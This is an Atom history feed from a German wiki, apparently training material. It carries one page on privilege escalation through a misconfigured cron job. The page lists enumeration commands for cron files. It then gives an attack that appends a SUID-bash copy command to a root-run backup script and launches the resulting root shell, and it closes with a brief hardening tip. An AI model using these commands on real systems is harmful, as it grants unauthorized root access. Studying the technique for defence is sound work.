<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Privilege_Escalation_%C3%BCber_falsch_konfigurierten_Cronjob</id>
	<title>Privilege Escalation über falsch konfigurierten Cronjob - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Privilege_Escalation_%C3%BCber_falsch_konfigurierten_Cronjob"/>
	<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Privilege_Escalation_%C3%BCber_falsch_konfigurierten_Cronjob&amp;action=history"/>
	<updated>2026-06-17T22:56:26Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=Privilege_Escalation_%C3%BCber_falsch_konfigurierten_Cronjob&amp;diff=69812&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „===Zielsetzung=== *Root-Rechte durch unsichere Cronjob-Konfiguration erlangen.  ===Wie entdeckt man die Schwachstelle?=== ;Benutzer-Cronjobs prüfen *crontab -…“</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Privilege_Escalation_%C3%BCber_falsch_konfigurierten_Cronjob&amp;diff=69812&amp;oldid=prev"/>
		<updated>2026-05-08T13:56:34Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „===Zielsetzung=== *Root-Rechte durch unsichere Cronjob-Konfiguration erlangen.  ===Wie entdeckt man die Schwachstelle?=== ;Benutzer-Cronjobs prüfen *crontab -…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;===Zielsetzung===&lt;br /&gt;
*Root-Rechte durch unsichere Cronjob-Konfiguration erlangen.&lt;br /&gt;
&lt;br /&gt;
===Wie entdeckt man die Schwachstelle?===&lt;br /&gt;
;Benutzer-Cronjobs prüfen&lt;br /&gt;
*crontab -l&lt;br /&gt;
&lt;br /&gt;
;Systemweite Cronjobs prüfen&lt;br /&gt;
*cat /etc/crontab&lt;br /&gt;
*ls -la /etc/cron.d/&lt;br /&gt;
*ls -la /etc/cron.hourly/&lt;br /&gt;
*ls -la /etc/cron.daily/&lt;br /&gt;
*ls -la /etc/cron.weekly/&lt;br /&gt;
*ls -la /etc/cron.monthly/&lt;br /&gt;
&lt;br /&gt;
;Dateiberechtigungen prüfen&lt;br /&gt;
*ls -l /pfad/zum/skript.sh&lt;br /&gt;
&lt;br /&gt;
;Verdächtig&lt;br /&gt;
*Skripte, die von normalen Benutzern bearbeitet werden können und als root ausgeführt werden.&lt;br /&gt;
&lt;br /&gt;
===Voraussetzungen===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Bedingung !! Beschreibung&lt;br /&gt;
|-&lt;br /&gt;
| Schwacher Cronjob || Existiert&lt;br /&gt;
|-&lt;br /&gt;
| Lokaler Zugriff || Vorhanden&lt;br /&gt;
|-&lt;br /&gt;
| shell Zugriff || Vorhanden&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Angriff: Code einschleusen===&lt;br /&gt;
;Skript manipulieren&lt;br /&gt;
*echo &amp;quot;cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash&amp;quot; &amp;gt;&amp;gt; /opt/backup.sh&lt;br /&gt;
&lt;br /&gt;
;Warten, bis Cronjob ausgeführt wird.&lt;br /&gt;
&lt;br /&gt;
;Root-Shell starten&lt;br /&gt;
*/tmp/rootbash -p&lt;br /&gt;
&lt;br /&gt;
;Erwartung&lt;br /&gt;
*Root-Shell erhalten.&lt;br /&gt;
&lt;br /&gt;
===Hinweise===&lt;br /&gt;
*Dateien, die von root ausgeführt werden, müssen sicher konfiguriert sein (nur root schreibbar).&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>